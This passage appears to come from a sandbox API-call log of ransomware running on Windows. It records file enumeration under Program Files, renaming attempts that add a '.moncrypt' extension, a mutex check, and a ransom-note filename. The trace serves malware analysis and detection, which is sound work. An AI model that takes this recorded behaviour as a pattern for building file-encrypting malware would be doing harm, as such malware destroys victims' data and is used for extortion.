(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", cchWideChar=89, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 89 [0058.385] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.386] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.386] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.386] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.387] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.387] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.387] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.387] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.387] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.387] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.387] GlobalUnlock (hMem=0x44000c) returned 0 [0058.387] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.387] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.387] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.387] GlobalUnlock (hMem=0x44000c) returned 0 [0058.388] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.388] GlobalUnlock (hMem=0x440004) returned 0 [0058.388] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.388] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.388] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.389] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.389] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.389] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.389] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.389] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.390] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.390] GlobalLock (hMem=0x440004) returned 0x550170 [0058.390] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.390] GlobalUnlock (hMem=0x440004) returned 0 [0058.390] GlobalLock (hMem=0x440004) returned 0x550170 [0058.390] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.390] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.390] GlobalUnlock (hMem=0x440004) returned 0 [0058.390] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.390] GlobalUnlock (hMem=0x44000c) returned 0 [0058.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43f88f00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43f88f00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.390] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.390] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.390] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.390] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.390] GlobalUnlock (hMem=0x44000c) returned 0 [0058.390] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.390] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.391] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.391] GlobalUnlock (hMem=0x44000c) returned 0 [0058.391] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.391] GlobalUnlock (hMem=0x440004) returned 0 [0058.391] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.391] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43f88f00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43f88f00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.391] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.391] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.391] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.391] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.391] GlobalUnlock (hMem=0x440004) returned 0 [0058.391] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.391] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.391] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.391] GlobalUnlock (hMem=0x440004) returned 0 [0058.391] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.391] GlobalUnlock (hMem=0x44000c) returned 0 [0058.391] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.391] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.391] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.391] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.391] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.391] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.391] GlobalUnlock (hMem=0x44000c) returned 0 [0058.391] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.391] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.392] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.392] GlobalUnlock (hMem=0x44000c) returned 0 [0058.392] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.392] GlobalUnlock (hMem=0x440004) returned 0 [0058.392] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.392] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.392] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.392] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.392] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.392] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.392] GlobalUnlock (hMem=0x440004) returned 0 [0058.392] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.392] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.392] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.392] GlobalUnlock (hMem=0x440004) returned 0 [0058.392] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.392] GlobalUnlock (hMem=0x44000c) returned 0 [0058.392] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.392] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0058.392] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.392] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.392] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.392] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.392] GlobalUnlock (hMem=0x44000c) returned 0 [0058.392] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.392] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.392] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.392] GlobalUnlock (hMem=0x44000c) returned 0 [0058.393] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.393] GlobalUnlock (hMem=0x440004) returned 0 [0058.393] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.393] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0058.393] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.393] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.393] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.393] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.393] GlobalUnlock (hMem=0x440004) returned 0 [0058.393] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.393] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.393] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.393] GlobalUnlock (hMem=0x440004) returned 0 [0058.393] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.393] GlobalUnlock (hMem=0x44000c) returned 0 [0058.393] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.393] FindNextFileW (in: 